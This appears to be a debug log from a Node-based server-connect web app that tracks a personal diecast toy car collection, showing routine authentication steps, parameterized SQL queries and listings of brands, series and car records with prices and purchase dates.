  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:04:00.678Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:04:00.680Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:04:00.682Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:04:00.682Z server-connect:app Executing action step identify
2026-02-04T07:04:00.682Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.682Z server-connect:output identity: 1
2026-02-04T07:04:00.682Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.682Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:00.683Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:04:00.684Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:00.684Z server-connect:output restrict: undefined
2026-02-04T07:04:00.684Z server-connect:app Executing action step single
2026-02-04T07:04:00.684Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:04:00.684Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:04:00.685Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:04:00.685Z server-connect:app Executing action step identify
2026-02-04T07:04:00.685Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.685Z server-connect:output identity: 1
2026-02-04T07:04:00.685Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.685Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:00.686Z server-connect:app Executing action step identify
2026-02-04T07:04:00.686Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.686Z server-connect:output identity: 1
2026-02-04T07:04:00.686Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.686Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:00.686Z server-connect:output restrict: undefined
2026-02-04T07:04:00.686Z server-connect:app Executing action step select
2026-02-04T07:04:00.686Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:04:00.687Z server-connect:app Executing action step identify
2026-02-04T07:04:00.687Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.687Z server-connect:output identity: 1
2026-02-04T07:04:00.687Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.687Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:00.687Z server-connect:app Executing action step identify
2026-02-04T07:04:00.687Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.687Z server-connect:output identity: 1
2026-02-04T07:04:00.687Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.687Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:00.688Z server-connect:output restrict: undefined
2026-02-04T07:04:00.688Z server-connect:app Executing action step select
2026-02-04T07:04:00.688Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:04:00.688Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:04:00.689Z server-connect:app Executing action step identify
2026-02-04T07:04:00.689Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.689Z server-connect:output identity: 1
2026-02-04T07:04:00.689Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.689Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:00.689Z server-connect:output restrict: undefined
2026-02-04T07:04:00.689Z server-connect:app Executing action step select
2026-02-04T07:04:00.689Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:04:00.690Z server-connect:output restrict: undefined
2026-02-04T07:04:00.690Z server-connect:app Executing action step paged
2026-02-04T07:04:00.690Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:00.691Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:04:00.691Z server-connect:app Executing action step select
2026-02-04T07:04:00.691Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:04:00.691Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:04:00.692Z server-connect:output restrict: undefined
2026-02-04T07:04:00.692Z server-connect:app Executing action step select
2026-02-04T07:04:00.692Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:04:00.693Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:04:00.693Z server-connect:app Executing action step select
2026-02-04T07:04:00.693Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:04:00.694Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:04:00.694Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:04:00.699Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:00.995Z server-connect:router Serving templateView /
2026-02-04T07:04:00.996Z server-connect:app Executing action step identify
2026-02-04T07:04:00.996Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.996Z server-connect:output identity: 1
2026-02-04T07:04:00.996Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.996Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:00.996Z server-connect:output restrict: undefined
2026-02-04T07:04:00.996Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.996Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:00.997Z server-connect:output restrict: undefined
2026-02-04T07:04:00.997Z server-connect:router Render template layouts/main
